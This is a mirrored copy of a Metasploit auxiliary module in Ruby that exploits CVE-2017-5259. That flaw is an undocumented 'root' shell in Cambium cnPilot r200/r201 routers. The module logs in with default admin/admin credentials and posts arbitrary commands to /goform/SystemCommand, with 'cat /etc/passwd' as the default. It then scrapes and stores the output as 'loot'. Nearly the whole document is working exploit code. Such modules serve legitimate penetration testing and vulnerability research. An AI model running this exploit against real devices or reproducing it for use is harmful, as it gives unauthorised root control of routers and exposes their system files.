CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::CNPILOT
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",
14
'Description' => %q{
15
Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to
16
4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is
17
accessible via a specific url, to any authenticated user. The module uses this
18
shell to execute arbitrary system commands as 'root'.
19
},
20
'Author' => [
21
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
22
],
23
'References' => [
24
['CVE', '2017-5259'],
25
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
26
],
27
'License' => MSF_LICENSE
28
)
29
)
30
31
register_options(
32
[
33
OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),
34
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
35
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
36
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin']),
37
OptString.new('CMD', [true, 'Command(s) to run', 'cat /etc/passwd'])
38
], self.class
39
)
40
41
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
42
end
43
44
def run_host(_ip)
45
unless is_app_cnpilot?
46
return
47
end
48
end
49
50
# command execution happens here
51
52
def cmd_exec_run(the_cookie)
53
# Verify backdoor 'root' shell url exists
54
root_shell = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'
55
print_status("#{rhost}:#{rport} - Checking backdoor 'root' shell...")
56
57
res = send_request_cgi(
58
{
59
'uri' => '/adm/syscmd.asp',
60
'method' => 'GET',
61
'cookie' => the_cookie,
62
'headers' => {
63
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
64
}
65
}
66
)
67
68
# Now POST the command
69
if res && res.code == 200
70
uri1 = '/goform/SystemCommand'
71
inject_cmd = datastore['CMD']
72
print_good("#{rhost}:#{rport} - You can access the 'root' shell at: #{root_shell}")
73
print_good("#{rhost}:#{rport} - Executing command - #{inject_cmd}")
74
75
send_request_cgi(
76
{
77
'uri' => uri1,
78
'method' => 'POST',
79
'cookie' => the_cookie,
80
'headers' => {
81
'Accept' => '*/*',
82
'Accept-Language' => 'en-US,en;q=0.5',
83
'Accept-Encoding' => 'gzip, deflate',
84
'Connection' => 'keep-alive'
85
},
86
'vars_post' =>
87
{
88
'command' => inject_cmd,
89
'SystemCommandSubmit' => 'Apply'
90
}
91
}
92
)
93
94
# Results are populated in the first url, so GET it once more
95
res = send_request_cgi(
96
{
97
'uri' => '/adm/syscmd.asp',
98
'method' => 'GET',
99
'cookie' => the_cookie,
100
'headers' => {
101
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
102
}
103
}
104
)
105
106
html = Nokogiri::HTML(res.body)
107
search_result = html.search('textarea').text
108
109
if search_result.nil?
110
print_status('Command run did not return any results or invalid command. Note that cnPilot devices only have a restricted *nix command-set.')
111
else
112
print_good(search_result.to_s)
113
114
# w00t we got l00t
115
loot_name = 'cmd-exec-log'
116
loot_type = 'text/plain'
117
loot_desc = 'Cambium cnPilot CMD Exec Results'
118
data = search_result.to_s
119
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
120
print_good("File saved in: #{p}")
121
end
122
else
123
print_error("#{rhost}:#{rport} - Backdoor 'root' shell not found. Affected versions are - v4.2.3-R4 and newer. You can try to verify the shell at #{root_shell}")
124
return
125
end
126
end
127
128
#
129
# Login & initiate cmd_exec_run
130
#
131
132
def run_login
133
cookie, cnpilot_version = do_login(datastore['USERNAME'], datastore['PASSWORD'])
134
if cookie == 'skip' && cnpilot_version == 'skip'
135
return
136
elsif ['4.2.3-R4', '4.3.1-R1', '4.3.2-R4', '4.3.3-R4'].include?(cnpilot_version.to_s)
137
cmd_exec_run(cookie)
138
else
139
vprint_error("#{rhost}:#{rport} - This software version is not vulnerable. Affected versions are - v4.2.3-R4 and newer.")
140
end
141
end
142
end
143
144